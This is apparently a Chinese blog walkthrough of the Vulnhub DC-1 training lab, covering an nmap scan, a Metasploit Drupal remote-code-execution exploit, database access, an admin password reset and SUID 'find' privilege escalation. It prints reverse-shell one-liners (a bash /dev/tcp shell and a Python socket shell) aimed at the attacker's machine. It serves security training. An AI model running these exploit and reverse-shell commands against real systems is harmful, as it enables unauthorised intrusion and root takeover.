Vulnhub-DC1
前言
一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。
环境配置
虚拟机Kali:IP-192.168.232.140
DC-1靶场机:
官网下载 https://download.vulnhub.com/dc/DC-1.zip
将攻击机kali和vulhub靶机配置一个网卡即可!这里使用的都是NAT模式。
渗透过程
信息收集阶段
通过Nmap进行网段的存活主机的探测,以及端口的探测:
命令:nmap -sV -Pn 192.168.232.0/24
这里发现192.168.232.147 便是靶机的地址,开放的端口存在22 80 111端口,尝试访问80web服务:
这个界面现在来看是相当的熟悉了,还记得ISCC2023的实战题目就是这个Drupal的远程命令执行吧?
drupal是一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置。在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。
MSF攻击
接下来我们尝试使用msf来进行攻击:
msfconsole
search drupal
use 1
set rhost 192.168.232.147
set lhost 192.168.232.140
run
接下来开启交互式shell
交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
我们可以看到当前的用户是www-data
python -c //实际上-c代表着command的意思,可以再命令行中调用python代码
import pty;pty.spawn("/bin/bash") //使用 python 的 pty 来转换为 交互式shell
也可以使用:"__import__('subprocess').call(['/bin/bash'])"
Linux机器信息收集
DNS配置文件
/etc/resolv.conf
系统用户配置文件
/etc/passwd
(这里发现了flag4 该文件的路径在/home/flag4)
影子文件
/etc/shadow 系统用户的密码信息
说是没有权限
查看进程
ps aux
发现数据库进程!
寻找flag
当前的目录下面存在着flag1.txt,但是说是需要寻找配置文件:
接下来就去查询了一下drupal的配置文件,说是有一个settings.php文件
之后定位到这个文件的路径:
发现了flag2的提示:他说“使用暴力破解和字典攻击并不是唯一获得权限的方式,你能用这些信息做什么?”
下面就是数据库的用户和密码了,那么我们就可以连接数据库了:
使用数据库的账号和密码来连接到数据库:
查看存在的数据库:(show databases;)
查看drupaldb数据库中存在哪些表:
发现了存在着user表。
这里经过查阅相关资料,两种方法可以重置密码:
- 在根目录下面的index.php中添加
require_once 'includes/password.inc';
require_once 'includes/bootstrap.inc';
echo user_hash_password('123456');
这样就能在页面中显示123456加密后的密码。
- 定位到drupal根目录下
-
- 执行 script/password-hash.sh 密码 这样也是可以获取到加密后的密码的
之后有了加密的密码,便可以更新掉users表中的密码!
接下来就是去修改密码:
使用admin 123456 登录drupal:
Find content里面发现了还未发布的flag3!
提权
利用SUID提权
首先是查看哪些文件具有suid权限:
find / -perm -u=s -type f 2>/dev/null
首先查找一下find命令在哪里: which find
再检查一下find命令是否存在suid权限:ls -l /usr/bin/find
发现确实find命令是具有suid权限的。
最后使用find命令执行一下‘whoami’发现是root权限:
touch getroot
find / -type f -name getroot -exec "whoami" \;
这里需要注意的是find 后面跟着的路径必须是存在的! 如果不存在的话 后面的exec就会报错,不会执行的
find /etc/passwd -exec "/bin/sh" \;
nc监听反弹shell
kali攻击机上执行 :nc -lvvp 6666
Msf中执行构建好的find命令:
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.232.140/6666 0>$1 \;
还可以通过python来反弹shell:
find /etc/passwd python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell
此时已经提权为root权限啦。
最终在root目录下,发现了最终的flag。
相关文章:

Vulnhub-DC1
前言 一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。 本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提…...
【c++笔记】总结!c++与c语言的不同之处
(Θ3Θ) hi~ 众所周知\(^o^)/~,c语言和c联系密切,又相互区别,本篇文章主要介绍c与c语言的区别与联系以及一些简单的不同点的运用,很适合刚接触c的朋友,一起来瞧瞧看吧~~ 目录 一、文章内容梗概 二、概念…...

大模型PEFT技术原理(一):BitFit、Prefix Tuning、Prompt Tuning
随着预训练模型的参数越来越大,尤其是175B参数大小的GPT3发布以来,让很多中小公司和个人研究员对于大模型的全量微调望而却步,近年来研究者们提出了各种各样的参数高效迁移学习方法(Parameter-efficient Transfer Learning&#x…...

VMware vSphere运维管理手册
适用版本:VMware vSphere 7.0 VMware vSphere 是 VMware 的虚拟化平台,可将数据中心转换为包括 CPU、存储和网络资源的聚合计算基础架构。vSphere 将这些基础架构作为一个统一的运行环境进行管理,并为您提供工具来管理加入该环境的数据中心。 
居中面试问题
前端常问居中面试问题 css文本居中 文本水平居中 <div class"father"><div class"child"><div> <div>子类元素为行内元素,则给父类元素定义text-align:center 如果子元素是块元素,则给子元素定义margin&…...
网页设计-用户体验
Use Cases (用例) 用例是用户如何在网站上执行任务的书面描述,从用户的角度描述了系统响应请求时的行为。每个用例都是用户实现目标的一系列简单的步骤。简言之,用例是一种用于描述系统如何满足用户需求的方法。 用例的好处 1. 明确需求: Use…...

docker应用:vocechat
简介:VoceChat是一款超轻量级的Rust聊天应用程序、API和SDK,优先考虑私人托管。使用VoceChat建立您自己的聊天功能!作为一款非常好用的通讯应用程序,它可以让你与朋友、家人和同事进行即时消息聊天,支持图片视频的分享…...

linux 02 vmware的快照,文件管理
01.快照 使用快照: 同时的快照管理器: 如果想要返回快照,选择要选择的快照,跳转 02. 文件管理: cd 修改当前路径 02.touch 创建文件 03. mkdir 创建文件夹 mkdir -p 文件夹 (创建之前没有的上级文件…...

项目架构之Zabbix部署
1 项目架构 1.1 项目架构的组成 业务架构:客户端 → 防火墙 → 负载均衡(四层、七层) → web缓存/应用 → 业务逻辑(动态应用) → 数据缓存 → 数据持久层 运维架构:运维客户端 → 跳板机/堡垒机&#x…...

RocketMQ源码阅读-Message消息存储
RocketMQ源码阅读-Message消息存储 1. CommitLog的作用2. CommitLog 存储消息3. 时序图4. 小结 在Broker消息接收一篇中,分析到Broker接收到消息,最终会调用CommitLong#putMessage方法存储消息。 本篇来分析CommitLong#putMessage存储消息的流程。 1. C…...

《C语言学习》---郝斌版---笔记
简介 学习计算机,离不开C语言的学习,而C语言学习过程中的视频课教程,目前来说,如果郝斌老师的C语言排第二,没有人敢排第一 郝斌老师的C语言教程,通俗易懂,引人发思,特别适合新手入门…...

Python(32):字符串转换成列表或元组,列表转换成字典小例子
1、python 两个列表转换成字典 字符串转换成列表 列表转换成字典 column "ID,aes,sm4,sm4_a,email,phone,ssn,military,passport,intelssn,intelpassport,intelmilitary,intelganghui,inteltaitonei,credit_card_short,credit_card_long,job,sm4_cbc,sm4_a_cbc" …...

CentOS 7 安装私有平台OpenNebula
目录 一、配置yum源 二、配置数据库MySQL 2.1 安装MySQL 2.2 修改MySQL密码 2.3 创建项目用户和库 三、安装配置前端包 四、设置oneadmin账号密码 五、验证安装 5.1 命令行验证安装 5.2 数据存放位置 5.3 端口介绍 5.4 命令介绍 六、访问 6.1 设置语言 6.2 创建主…...

(aiohttp-asyncio-FFmpeg-Docker-SRS)实现异步摄像头转码服务器
1. 背景介绍 在先前的博客文章中,我们已经搭建了一个基于SRS的流媒体服务器。现在,我们希望通过Web接口来控制这个服务器的行为,特别是对于正在进行的 RTSP 转码任务的管理。这将使我们能够在不停止整个服务器的情况下,动态地启动…...
基于STM32微控制器的四轮智能小车控制系统设计
标题:基于STM32微控制器的四轮智能小车控制系统设计与实现 摘要: 本文针对移动机器人领域的应用需求,详细介绍了基于STM32系列单片机(以STM32F103C8T6为例)为核心的四轮小车控制系统的设计和实现过程。该系统集成了电…...
JPA的复杂查询包括一对多多对一和多对多的查询
1. 多表关联查询和排序 假设我们有两个实体类:Customer和Order,它们之间是一对多的关系,即一个客户可以有多个订单。我们想要查询某个客户的所有订单,并按订单金额进行降序排序。 Entity Table(name "customers") pu…...

电脑文件mfc100u.dll丢失的解决方法分析,怎么修复mfc100u.dll靠谱
mfc100u.dll丢失了要怎么办?其实很多人都遇到过这样的电脑故障吧,说这个mfc100u.dll文件已经不见了,然后一些程序打不开了,那么这种情况我们要怎么解决呢?今天我们就来给大家详细的说说mfc100u.dll丢失的解决方法。 一…...

从DETR到Mask2former(2): 损失函数loss function
DETR的损失函数包括几个部分,如果只看论文或者代码,比较难理解,最好是可以打断点调试,对照着论文看。但是现在DETR模型都已经被集成进各种框架中,很难进入内部打断掉调试。与此同时,数据的label的前处理也比…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...
代理篇12|深入理解 Vite中的Proxy接口代理配置
在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...

【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习
禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...

华硕a豆14 Air香氛版,美学与科技的馨香融合
在快节奏的现代生活中,我们渴望一个能激发创想、愉悦感官的工作与生活伙伴,它不仅是冰冷的科技工具,更能触动我们内心深处的细腻情感。正是在这样的期许下,华硕a豆14 Air香氛版翩然而至,它以一种前所未有的方式&#x…...

Golang——7、包与接口详解
包与接口详解 1、Golang包详解1.1、Golang中包的定义和介绍1.2、Golang包管理工具go mod1.3、Golang中自定义包1.4、Golang中使用第三包1.5、init函数 2、接口详解2.1、接口的定义2.2、空接口2.3、类型断言2.4、结构体值接收者和指针接收者实现接口的区别2.5、一个结构体实现多…...

五子棋测试用例
一.项目背景 1.1 项目简介 传统棋类文化的推广 五子棋是一种古老的棋类游戏,有着深厚的文化底蕴。通过将五子棋制作成网页游戏,可以让更多的人了解和接触到这一传统棋类文化。无论是国内还是国外的玩家,都可以通过网页五子棋感受到东方棋类…...

Mysql故障排插与环境优化
前置知识点 最上层是一些客户端和连接服务,包含本 sock 通信和大多数jiyukehuduan/服务端工具实现的TCP/IP通信。主要完成一些简介处理、授权认证、及相关的安全方案等。在该层上引入了线程池的概念,为通过安全认证接入的客户端提供线程。同样在该层上可…...
命令行关闭Windows防火墙
命令行关闭Windows防火墙 引言一、防火墙:被低估的"智能安检员"二、优先尝试!90%问题无需关闭防火墙方案1:程序白名单(解决软件误拦截)方案2:开放特定端口(解决网游/开发端口不通)三、命令行极速关闭方案方法一:PowerShell(推荐Win10/11)方法二:CMD命令…...

智警杯备赛--excel模块
数据透视与图表制作 创建步骤 创建 1.在Excel的插入或者数据标签页下找到数据透视表的按钮 2.将数据放进“请选择单元格区域“中,点击确定 这是最终结果,但是由于环境启不了,这里用的是自己的excel,真实的环境中的excel根据实训…...

React、Git、计网、发展趋势等内容——前端面试宝典(字节、小红书和美团)
React React Hook实现架构、.Hook不能在循环嵌套语句中使用 , 为什么,Fiber架构,面试向面试官介绍,详细解释 用户: React Hook实现架构、.Hook不能在循环嵌套语句中使用 , 为什么,Fiber架构,面试向面试官介绍&#x…...